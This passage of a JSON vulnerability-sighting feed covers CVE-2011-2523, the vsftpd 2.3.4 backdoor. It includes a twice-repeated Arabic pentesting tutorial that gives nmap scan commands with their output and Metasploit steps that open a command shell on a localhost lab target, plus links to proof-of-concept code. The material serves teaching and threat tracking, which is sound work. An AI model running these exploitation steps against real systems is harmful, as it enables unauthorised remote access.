\u0627\u062f\u0648\u0627\u062a \u0641\u062d\u0635 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645\u0629 \u0641\u064a \u0627\u0644\u0640 Pentesting \u0627\u0644\u0627\u0646 \u0627\u0648\u0644 \u062e\u0637\u0648\u0629 \u0633\u0623\u0642\u0648\u0645 \u0628\u0647\u0627 \u0628\u0639\u0645\u0644 \u0641\u062d\u0635 \u0644\u0644\u0645\u0646\u0627\u0641\u0630 \u0648\u0627\u0644\u0623\u0635\u062f\u0627\u0631\u0627\u062a \u0648\u0627\u0644\u062e\u062f\u0645\u0627\u062a \u0627\u0644\u0645\u0634\u063a\u0644\u0629 \u0639\u0644\u064a\u0647\u0627 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0627\u0644\u0623\u0645\u0631 :\nnmap -sV -T4 127.0.0.1 \n\n \u062c\u064a\u062f \u0627\u0644\u0627\u0646 \u0646\u0641\u0631\u0636 \u0627\u0646\u0647 \u064a\u0648\u062c\u062f \u062c\u062f\u0627\u0631 \u062d\u0645\u0627\u064a\u0629 \u064a\u0642\u0648\u0645 \u0628\u0639\u0645\u0644 Block \u0644\u0639\u0645\u0644\u064a\u0629 \u0627\u0644\u0640 Scan \u0627\u0644\u062d\u0644 \u0628\u0643\u0644 \u0628\u0633\u0627\u0637\u0629 \u0647\u0648 \u0623\u0636\u0627\u0641\u0629 \u0627\u0644\u062e\u064a\u0627\u0631 \"Pn-\" \u0644\u062d\u0644 \u0647\u0630\u0647 \u0627\u0644\u0645\u0634\u0643\u0644\u0629 \u0627\u0644\u0627\u0646 \u0628\u0639\u062f \u0627\u0646 \u0642\u0645\u0646\u0627 \u0628\u0641\u062d\u0635 \u0627\u0644\u0645\u0646\u0627\u0641\u0630 \u0648\u062a\u0628\u064a\u0646 \u0644\u0646\u0627 \u0627\u0646 \u0647\u0646\u0627\u0644\u0643 \u0645\u0646\u0641\u0630 FTP \u0645\u0641\u062a\u0648\u062d \u0627\u0644\u0627\u0646 \u062f\u0639\u0648\u0646\u0627 \u0646\u062a\u0639\u0645\u0642 \u0623\u0643\u062b\u0631 \u0648\u0646\u0642\u0648\u0645 \u0628\u0641\u062d\u0635 \u0645\u0646\u0641\u0630 21 \u064a\u0644\u064a \u0647\u0648 \u0645\u0646\u0641\u0630 FTP \u0627\u0644\u0627\u0645\u0631 \u0627\u0644\u062a\u0627\u0644\u064a \u0647\u0648 :\n\nnmap --script ftp-vsftpd-backdoor -p 21 127.0.0.1\n\n\u0627\u0644\u0627\u0646 \u0646\u062a\u0627\u0626\u062c \u0627\u0644\u0641\u062d\u0635 :\nPORT   STATE SERVICE\n21/tcp open  ftp\n| ftp-vsftpd-backdoor:\n|   VULNERABLE:\n|   vsFTPd version 2.3.4 backdoor\n|     State: VULNERABLE (Exploitable)\n|     IDs:  CVE:CVE-2011-2523  BID:48539\n|     Description:\n|       vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.\n\n\u0643\u0645\u0627 \u062a\u0631\u0648\u0646 \u0623\u0635\u062f\u0642\u0627\u0626\u064a \u062a\u0623\u0643\u062f\u0646\u0627 \u0627\u0646 \u0627\u0644\u062c\u0647\u0627\u0632 \u0645\u0635\u0627\u0628 \u0641\u0639\u0644\u0627 \u0628\u062b\u063a\u0631\u0629 vsftpd 2.3.4 \u0627\u0644\u0627\u0646 \u0644\u0642\u062f \u0642\u0645\u0646\u0627 \u0628\u0623\u0646\u0647\u0627\u0621 \u0627\u0648\u0644 \u062b\u0644\u0627\u062b \u0645\u0631\u0627\u062d\u0644 \u062a\u0628\u0642\u0649 \u0641\u0642\u0637 \u0645\u0631\u062d\u0644\u0629 \u0627\u0644\u0623\u0633\u062a\u063a\u0644\u0627\u0644 \u0648\u0643\u062a\u0627\u0628\u0629 \u0627\u0644\u062a\u0642\u0631\u064a\u0631 \ud83d\ude01 \u0628\u0627\u0644\u0646\u0633\u0628\u0629 \u0644\u0644\u0623\u0633\u062a\u063a\u0644\u0627\u0644 \u064a\u0645\u0643\u0646\u0646\u0627 \u0641\u0639\u0644 \u0630\u0644\u0643 \u0628\u0643\u0644 \u0633\u0647\u0648\u0644\u0629 \u0639\u0646 \u0637\u0631\u064a\u0642 \u0627\u0644\u0627\u062f\u0627\u0629 \u0627\u0644\u0634\u0647\u064a\u0631\u0629   Metasploit \u0641\u064a \u0627\u0644\u0628\u062f\u0627\u064a\u0629 \u062f\u0639\u0648\u0646\u0627 \u0646\u0634\u063a\u0644\u0647\u0627 \u0639\u0646 \u0637\u0631\u064a\u0642 \u0627\u0644\u0623\u0645\u0631 msfconsole \u0648\u0627\u0644\u0627\u0646 \u062f\u0639\u0648\u0646\u0627 \u0646\u0628\u062d\u062b \u0639\u0646 \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0629 \u0642\u0644\u0646\u0627 \u0645\u0633\u0628\u0642\u0627\u064b \u0627\u0646 \u0645\u064a\u062a\u0627\u0633\u0628\u0644\u0648\u064a\u062a \u0623\u0637\u0627\u0631 \u0639\u0645\u0644 \u0636\u062e\u0645 \u064a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 \u0627\u0644\u0639\u062f\u064a\u062f \u0645\u0646 \u0627\u0644\u0623\u0633\u062a\u063a\u0644\u0627\u0644\u0627\u062a \u0627\u0644\u0627\u0646 \u064a\u0645\u0643\u0646\u0646\u0627 \u0627\u0644\u0628\u062d\u062b \u0645\u0646 \u062e\u0644\u0627\u0644 search vsftpd 2.3.4 \u0628\u0639\u062f\u0647\u0627 \u0646\u0642\u0648\u0645 \u0628\u0623\u062e\u062a\u064a\u0627\u0631 \u0627\u0644\u0645\u0648\u062f\u064a\u0644 \u0627\u0644\u062a\u0627\u0644\u064a \u0644\u0623\u0633\u062a\u063a\u0644\u0627\u0644 \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0629 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0627\u0644\u0623\u0645\u0631 :\nuse exploit/unix/ftp/vsftpd_234_backdoor \n\n\u0627\u0644\u0627\u0646 \u0646\u0642\u0648\u0644 \u0628\u062a\u062d\u062f\u064a\u062f RHOST \u064a\u0644\u064a \u0647\u0648 ip \u0627\u0644\u0646\u0638\u0627\u0645 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0627\u0644\u0623\u0645\u0631 \nset RHOST 127.0.0.1 \n\n\u0648\u0627\u0644\u0627\u0646 \u0646\u0642\u0648\u0645 \u0628\u0627\u0644\u0623\u0633\u062a\u063a\u0644\u0627\u0644 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0627\u0644\u0627\u0645\u0631 exploit \u0627\u0644\u0627\u0646 \u062a\u0645 \u0641\u062a\u062d \u062c\u0644\u0633\u0629 Command Shell \u064a\u0645\u0643\u0646\u0646\u0627 \u0627\u0644\u062a\u062d\u0643\u0645 \u0628\u0627\u0644\u0646\u0638\u0627\u0645 \u0628\u0643\u0644 \u0633\u0647\u0648\u0644\u0629 \u0627\u0644\u0645\u0631\u062d\u0644\u0629 \u0627\u0644\u0627\u062e\u064a\u0631\u0629 \u0647\u064a \u0643\u062a\u0627\u0628\u0629 \u0627\u0644\u062a\u0642\u0631\u064a\u0631 \u0639\u0646 \u0639\u0645\u0644\u064a\u0647 \u0627\u0644\u0627\u062e\u062a\u0631\u0627\u0642 \u0627\u0644\u062a\u064a \u062d\u0635\u0644\u062a \u0648\u0627\u0644\u0627\u062f\u0648\u0627\u062a \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645\u0629 \u0644\u062d\u0644 \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0629 \n\n\ud83d\udd3b \u064a\u0631\u062c\u0649 \u0627\u0644\u0639\u0644\u0645 \u0627\u0646\u0647 \u064a\u0648\u062c\u062f \u0637\u0631\u0642 \u0623\u0633\u062a\u063a\u0644\u0627\u0644 \u0643\u062b\u064a\u0631\u0629 \u0627\u062e\u0631\u0649 \u0644\u0643\u0646\u0646\u064a \u0642\u0645\u062a \u0628\u0637\u0631\u062d \u0645\u062b\u0627\u0644 \u0641\u0642\u0637 \u0644\u0641\u0647\u0645 \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0629 , \u0627\u062a\u0645\u0646\u0649 \u0627\u0646 \u062a\u0643\u0648\u0646\u0648\u0627 \u0642\u062f \u0623\u0633\u062a\u0641\u062f\u062a\u0648\u0627 \u0645\u0646 \u0647\u0630\u0627 \u0627\u0644\u0645\u0642\u0627\u0644 \u0648\u0634\u0643\u0631\u0627 \u0644\u0643\u0645 \u2764\ufe0f\ud83e\udd77", "creation_timestamp": "2023-08-10T21:25:55.000000Z"}, {"uuid": "3424888b-3e47-4a8e-a9f0-d008dfee1726", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "exploited", "source": "https://t.me/pwnwiki_zhchannel/143", "content": "CVE-2011-2523 vsftpd 2.3.4 \u5f8c\u9580\u547d\u4ee4\u57f7\u884c\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2011-2523_vsftpd_2.3.4_%E5%BE%8C%E9%96%80%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-09-21T06:42:50.000000Z"}, {"uuid": "94ca2276-af58-47f9-ad8e-9f09e34f4240", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "https://t.me/jokerplstaeen/20815", "content": "\ud83d\udd3b \u0645\u0627\u0647\u064a \u062b\u063a\u0631\u0629 Vsftpd 2.3.4 \u061f\n\n\u0647\u064a \u062b\u063a\u0631\u0629 \u0627\u0645\u0627\u0646 \u0641\u064a \u0628\u0631\u0648\u062a\u0648\u0643\u0644 FTP \u0631\u0642\u0645 \u062a\u0639\u0631\u064a\u0641\u0647\u0627 (CVE-2011-2523) \u062a\u0633\u0645\u062d \u0644\u0644\u0645\u0647\u0627\u062c\u0645 \u0628\u062a\u0646\u0641\u064a\u0630 \u0627\u0643\u0648\u0627\u062f \u0648\u0627\u0648\u0627\u0645\u0631 \u0628\u0631\u0645\u062c\u064a\u0629 \u0636\u0627\u0631\u0629 \u0648 \u062e\u0637\u064a\u0631\u0629 \u0641\u064a \u0627\u0644\u0646\u0638\u0627\u0645 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641 \n\n\ud83d\udd3b \u0645\u0627\u0647\u064a \u0637\u0631\u0642 \u0641\u062d\u0635 \u0648\u0623\u0633\u062a\u063a\u0644\u0627\u0644 \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0629 \u061f\n\n\u0643\u0645\u0627 \u0642\u0644\u0646\u0627 \u0645\u0633\u0628\u0642\u0627\u064b \u0627\u0646 \u0639\u0645\u0644\u064a\u0629 \u0627\u062e\u062a\u0628\u0627\u0631 \u0627\u0644\u0627\u062e\u062a\u0631\u0627\u0642 \u062a\u0645\u0631 \u0639\u0644\u0649 \u062e\u0645\u0633\u0629 \u0645\u0631\u0627\u062d\u0644 \u062c\u0645\u0639 \u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a \u0648\u0627\u0644\u0641\u062d\u0635 \u0648\u0627\u0644\u0623\u0633\u062a\u0637\u0644\u0627\u0639 \u0648\u062a\u062d\u062f\u064a\u062f \u0627\u0644\u062b\u063a\u0631\u0629 \u0648\u0627\u0644\u0623\u0633\u062a\u063a\u0644\u0627\u0644 \u0648\u0643\u062a\u0627\u0628\u0629 \u0627\u0644\u062a\u0642\u0631\u064a\u0631 \u062f\u0639\u0648\u0646\u0627 \u0646\u0641\u0631\u0636 \u0633\u064a\u0646\u0627\u0631\u064a\u0648 \u0628\u0633\u064a\u0637 \u0627\u0644\u0623\u0646 \u0646\u0641\u0631\u0636 \u0627\u0646\u064a \u0641\u064a \u0634\u0631\u0643\u0629 \u0648\u0637\u0644\u0628 \u0645\u0646\u064a \u0627\u0644\u0645\u062f\u064a\u0631 \u0641\u062d\u0635 \u062c\u0647\u0627\u0632 \u062f\u0627\u062e\u0644 \u0647\u0630\u0647 \u0627\u0644\u0634\u0628\u0643\u0629 \u0623\u0648\u0644 \u062e\u0637\u0648\u0629 \u0633\u0623\u0642\u0648\u0645 \u0628\u0647\u0627 \u0628\u0641\u062d\u0635 \u0627\u0644\u0645\u0646\u0627\u0641\u0630 \u0628\u0623\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u062f\u0627\u0629 Nmap \u0630\u0643\u0631\u0646\u0627 \u0645\u0633\u0628\u0642\u0627\u064b \u0627\u0646\u0647\u0627 \u0645\u0646 \u0627\u0641\u0636\u0644 \u0627\u062f\u0648\u0627\u062a \u0641\u062d\u0635 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645\u0629 \u0641\u064a \u0627\u0644\u0640 Pentesting \u0627\u0644\u0627\u0646 \u0627\u0648\u0644 \u062e\u0637\u0648\u0629 \u0633\u0623\u0642\u0648\u0645 \u0628\u0647\u0627 \u0628\u0639\u0645\u0644 \u0641\u062d\u0635 \u0644\u0644\u0645\u0646\u0627\u0641\u0630 \u0648\u0627\u0644\u0623\u0635\u062f\u0627\u0631\u0627\u062a \u0648\u0627\u0644\u062e\u062f\u0645\u0627\u062a \u0627\u0644\u0645\u0634\u063a\u0644\u0629 \u0639\u0644\u064a\u0647\u0627 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0627\u0644\u0623\u0645\u0631 :\nnmap -sV -T4 127.0.0.1 \n\n \u062c\u064a\u062f \u0627\u0644\u0627\u0646 \u0646\u0641\u0631\u0636 \u0627\u0646\u0647 \u064a\u0648\u062c\u062f \u062c\u062f\u0627\u0631 \u062d\u0645\u0627\u064a\u0629 \u064a\u0642\u0648\u0645 \u0628\u0639\u0645\u0644 Block \u0644\u0639\u0645\u0644\u064a\u0629 \u0627\u0644\u0640 Scan \u0627\u0644\u062d\u0644 \u0628\u0643\u0644 \u0628\u0633\u0627\u0637\u0629 \u0647\u0648 \u0623\u0636\u0627\u0641\u0629 \u0627\u0644\u062e\u064a\u0627\u0631 \"Pn-\" \u0644\u062d\u0644 \u0647\u0630\u0647 \u0627\u0644\u0645\u0634\u0643\u0644\u0629 \u0627\u0644\u0627\u0646 \u0628\u0639\u062f \u0627\u0646 \u0642\u0645\u0646\u0627 \u0628\u0641\u062d\u0635 \u0627\u0644\u0645\u0646\u0627\u0641\u0630 \u0648\u062a\u0628\u064a\u0646 \u0644\u0646\u0627 \u0627\u0646 \u0647\u0646\u0627\u0644\u0643 \u0645\u0646\u0641\u0630 FTP \u0645\u0641\u062a\u0648\u062d \u0627\u0644\u0627\u0646 \u062f\u0639\u0648\u0646\u0627 \u0646\u062a\u0639\u0645\u0642 \u0623\u0643\u062b\u0631 \u0648\u0646\u0642\u0648\u0645 \u0628\u0641\u062d\u0635 \u0645\u0646\u0641\u0630 21 \u064a\u0644\u064a \u0647\u0648 \u0645\u0646\u0641\u0630 FTP \u0627\u0644\u0627\u0645\u0631 \u0627\u0644\u062a\u0627\u0644\u064a \u0647\u0648 :\n\nnmap --script ftp-vsftpd-backdoor -p 21 127.0.0.1\n\n\u0627\u0644\u0627\u0646 \u0646\u062a\u0627\u0626\u062c \u0627\u0644\u0641\u062d\u0635 :\nPORT   STATE SERVICE\n21/tcp open  ftp\n| ftp-vsftpd-backdoor:\n|   VULNERABLE:\n|   vsFTPd version 2.3.4 backdoor\n|     State: VULNERABLE (Exploitable)\n|     IDs:  CVE:CVE-2011-2523  BID:48539\n|     Description:\n|       vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.\n\n\u0643\u0645\u0627 \u062a\u0631\u0648\u0646 \u0623\u0635\u062f\u0642\u0627\u0626\u064a \u062a\u0623\u0643\u062f\u0646\u0627 \u0627\u0646 \u0627\u0644\u062c\u0647\u0627\u0632 \u0645\u0635\u0627\u0628 \u0641\u0639\u0644\u0627 \u0628\u062b\u063a\u0631\u0629 vsftpd 2.3.4 \u0627\u0644\u0627\u0646 \u0644\u0642\u062f \u0642\u0645\u0646\u0627 \u0628\u0623\u0646\u0647\u0627\u0621 \u0627\u0648\u0644 \u062b\u0644\u0627\u062b \u0645\u0631\u0627\u062d\u0644 \u062a\u0628\u0642\u0649 \u0641\u0642\u0637 \u0645\u0631\u062d\u0644\u0629 \u0627\u0644\u0623\u0633\u062a\u063a\u0644\u0627\u0644 \u0648\u0643\u062a\u0627\u0628\u0629 \u0627\u0644\u062a\u0642\u0631\u064a\u0631 \ud83d\ude01 \u0628\u0627\u0644\u0646\u0633\u0628\u0629 \u0644\u0644\u0623\u0633\u062a\u063a\u0644\u0627\u0644 \u064a\u0645\u0643\u0646\u0646\u0627 \u0641\u0639\u0644 \u0630\u0644\u0643 \u0628\u0643\u0644 \u0633\u0647\u0648\u0644\u0629 \u0639\u0646 \u0637\u0631\u064a\u0642 \u0627\u0644\u0627\u062f\u0627\u0629 \u0627\u0644\u0634\u0647\u064a\u0631\u0629   Metasploit \u0641\u064a \u0627\u0644\u0628\u062f\u0627\u064a\u0629 \u062f\u0639\u0648\u0646\u0627 \u0646\u0634\u063a\u0644\u0647\u0627 \u0639\u0646 \u0637\u0631\u064a\u0642 \u0627\u0644\u0623\u0645\u0631 msfconsole \u0648\u0627\u0644\u0627\u0646 \u062f\u0639\u0648\u0646\u0627 \u0646\u0628\u062d\u062b \u0639\u0646 \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0629 \u0642\u0644\u0646\u0627 \u0645\u0633\u0628\u0642\u0627\u064b \u0627\u0646 \u0645\u064a\u062a\u0627\u0633\u0628\u0644\u0648\u064a\u062a \u0623\u0637\u0627\u0631 \u0639\u0645\u0644 \u0636\u062e\u0645 \u064a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 \u0627\u0644\u0639\u062f\u064a\u062f \u0645\u0646 \u0627\u0644\u0623\u0633\u062a\u063a\u0644\u0627\u0644\u0627\u062a \u0627\u0644\u0627\u0646 \u064a\u0645\u0643\u0646\u0646\u0627 \u0627\u0644\u0628\u062d\u062b \u0645\u0646 \u062e\u0644\u0627\u0644 search vsftpd 2.3.4 \u0628\u0639\u062f\u0647\u0627 \u0646\u0642\u0648\u0645 \u0628\u0623\u062e\u062a\u064a\u0627\u0631 \u0627\u0644\u0645\u0648\u062f\u064a\u0644 \u0627\u0644\u062a\u0627\u0644\u064a \u0644\u0623\u0633\u062a\u063a\u0644\u0627\u0644 \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0629 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0627\u0644\u0623\u0645\u0631 :\nuse exploit/unix/ftp/vsftpd_234_backdoor \n\n\u0627\u0644\u0627\u0646 \u0646\u0642\u0648\u0644 \u0628\u062a\u062d\u062f\u064a\u062f RHOST \u064a\u0644\u064a \u0647\u0648 ip \u0627\u0644\u0646\u0638\u0627\u0645 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0627\u0644\u0623\u0645\u0631 \nset RHOST 127.0.0.1 \n\n\u0648\u0627\u0644\u0627\u0646 \u0646\u0642\u0648\u0645 \u0628\u0627\u0644\u0623\u0633\u062a\u063a\u0644\u0627\u0644 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0627\u0644\u0627\u0645\u0631 exploit \u0627\u0644\u0627\u0646 \u062a\u0645 \u0641\u062a\u062d \u062c\u0644\u0633\u0629 Command Shell \u064a\u0645\u0643\u0646\u0646\u0627 \u0627\u0644\u062a\u062d\u0643\u0645 \u0628\u0627\u0644\u0646\u0638\u0627\u0645 \u0628\u0643\u0644 \u0633\u0647\u0648\u0644\u0629 \u0627\u0644\u0645\u0631\u062d\u0644\u0629 \u0627\u0644\u0627\u062e\u064a\u0631\u0629 \u0647\u064a \u0643\u062a\u0627\u0628\u0629 \u0627\u0644\u062a\u0642\u0631\u064a\u0631 \u0639\u0646 \u0639\u0645\u0644\u064a\u0647 \u0627\u0644\u0627\u062e\u062a\u0631\u0627\u0642 \u0627\u0644\u062a\u064a \u062d\u0635\u0644\u062a \u0648\u0627\u0644\u0627\u062f\u0648\u0627\u062a \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645\u0629 \u0644\u062d\u0644 \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0629 \n\n\ud83d\udd3b \u064a\u0631\u062c\u0649 \u0627\u0644\u0639\u0644\u0645 \u0627\u0646\u0647 \u064a\u0648\u062c\u062f \u0637\u0631\u0642 \u0623\u0633\u062a\u063a\u0644\u0627\u0644 \u0643\u062b\u064a\u0631\u0629 \u0627\u062e\u0631\u0649 \u0644\u0643\u0646\u0646\u064a \u0642\u0645\u062a \u0628\u0637\u0631\u062d \u0645\u062b\u0627\u0644 \u0641\u0642\u0637 \u0644\u0641\u0647\u0645 \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0629 , \u0627\u062a\u0645\u0646\u0649 \u0627\u0646 \u062a\u0643\u0648\u0646\u0648\u0627 \u0642\u062f \u0623\u0633\u062a\u0641\u062f\u062a\u0648\u0627 \u0645\u0646 \u0647\u0630\u0627 \u0627\u0644\u0645\u0642\u0627\u0644 \u0648\u0634\u0643\u0631\u0627 \u0644\u0643\u0645 \u2764\ufe0f\ud83e\udd77", "creation_timestamp": "2023-09-16T07:38:37.000000Z"}, {"uuid": "b3d7456d-be0e-4ed9-be0b-66176ef79db5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "https://t.me/ctinow/195632", "content": "https://ift.tt/7MvlIE0\nCVE-2011-2523 | vsftpd 2.3.4 Service Port 6200 os command injection (ID 162145)", "creation_timestamp": "2024-02-28T16:41:42.000000Z"}, {"uuid": "2857861a-c884-453f-9b26-95296355debb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/icfrk9NJ0r9US8j4ZgZwjdU3nJ-xiydIySZk2Z3ro5QcgAo", "content": "", "creation_timestamp": "2026-07-30T00:03:16.037895Z"}, {"uuid": "1f47db36-ba55-439c-a9fe-a3334c15dd89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "Telegram/tU2jmdbw4RGZTBUbD4dAUWYmR23KETwFYGSN5xZtWnjEejM", "content": "", "creation_timestamp": "2026-04-29T09:00:05.000000Z"}, {"uuid": "5a41b4a9-3fb5-4390-a70f-4bd3a86f11fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "Telegram/XmVvH6UtN7-gCe9ILrkWYtW7P9LJK3s3Bp7zoYIg-DtLmu8", "content": "", "creation_timestamp": "2026-08-01T16:00:03.818393Z"}, {"uuid": "3ecfa772-1a06-4b9a-ac21-d2f86d4f5792", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/12549", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#exploit\nName: *CVE-2011-2523*\nGithub: https://github.com/Lynk4/CVE-2011-2523", "creation_timestamp": "2026-07-31T00:00:07.762355Z"}, {"uuid": "d5bc7ea9-5cd3-4e93-8627-eb2db4e2f4c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "https://t.me/cibsecurity/8383", "content": "ATENTION\u203c New - CVE-2011-2523\n\nvsftpd 2.3.4 downloaded between 20110630 and 20110703 contains a backdoor which opens a shell on port 6200/tcp.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2019-11-28T00:31:21.000000Z"}, {"uuid": "1713f73c-8083-48f1-91e1-5caf86ebf743", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/XmVvH6UtN7-gCe9ILrkWYtW7P9LJK3s3Bp7zoYIg-DtLmu8", "content": "", "creation_timestamp": "2026-08-02T00:00:41.550150Z"}, {"uuid": "f0a01230-a363-49e2-993e-64a9d631d383", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "Telegram/I9jr2FwJUHwAb81CK7-xeVKSwOp4PweEdPMw4HfzpPMKo1Y", "content": "", "creation_timestamp": "2026-05-09T15:00:07.000000Z"}, {"uuid": "1a96a1d4-6c89-4d8a-b24f-5e86357fe050", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "Telegram/8KrClztxOpt43Dn04vWbNfDSJz2auxqrQryTcHMCR_fwseY", "content": "", "creation_timestamp": "2026-05-14T15:00:07.000000Z"}, {"uuid": "1194e041-e16d-46a0-9f2a-786525b2c13e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/7cUPikWYVy9ZWytWyAxwh66xAlCEPyyOlWhVl_FYZCzkhJ4", "content": "", "creation_timestamp": "2026-05-16T03:00:05.000000Z"}, {"uuid": "b2c4d7f5-9def-4ee7-8a29-4b01b0a17bac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "https://bsky.app/profile/securityelites.bsky.social/post/3mmbrmputgo2j", "content": "Metasploitable vsftpd Backdoor Lab \u2014 CVE-2011-2523 Exploit\u00a0Guide\n\nExploit vsftpd 2.3.4 backdoor on Metasploitable 2026. CVE-2011-2523 manual exploitation, Metasploit module, root shell verification and remediation. Lab 5 guide.", "creation_timestamp": "2026-05-20T11:14:16.166496Z"}, {"uuid": "ac2ffd71-a8eb-4ec0-b20c-11639dc28cfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "https://bsky.app/profile/securityelites1.bsky.social/post/3mmbrxe33xz23", "content": "\ud83d\udce2 Metasploitable vsftpd Backdoor Lab \u2014 CVE-2011-2523 Exploit Guide\n\nExploit vsftpd 2.3.4 backdoor on Metasploitable 2026.\n\nhttps://securityelites.com/metasploitable-vsftpd-backdoor-lab-2026/\n\n#cve20112523 #cybersecuritylab", "creation_timestamp": "2026-05-20T11:20:12.222510Z"}, {"uuid": "aaef6085-efbf-450a-9269-e57b2088e8fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/eEkK6PVbdDfglsyujSuxBWIZjJpDuh84Njq8yhH-Zu1Cfr8", "content": "", "creation_timestamp": "2026-05-18T03:00:06.000000Z"}, {"uuid": "fef90036-a22e-49f1-9878-cca8377f8314", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "Telegram/ZaHXjBqHV5p0kjhml26f_2eMLQEVC_NJ4MXuG-5T_OiTVdE", "content": "", "creation_timestamp": "2026-05-23T21:00:04.000000Z"}, {"uuid": "4f5bbbeb-a983-4f0d-995b-7e6fc7547f4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "Telegram/wDwm6-AY-JX6nhNni9OQWjE6Au1_mqn06OkP8toYPUyKP30", "content": "", "creation_timestamp": "2026-08-12T08:00:05.585110Z"}, {"uuid": "447ed811-8c7a-4e1b-b611-0875c2fcc469", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "Telegram/hGWk8MIih0D3DxUwNWRe3y8KubP65D3PuLH-MA53N78330U", "content": "", "creation_timestamp": "2026-06-02T15:00:07.000000Z"}, {"uuid": "8df8ed76-c3a9-465c-9ab9-e4478ca4e562", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 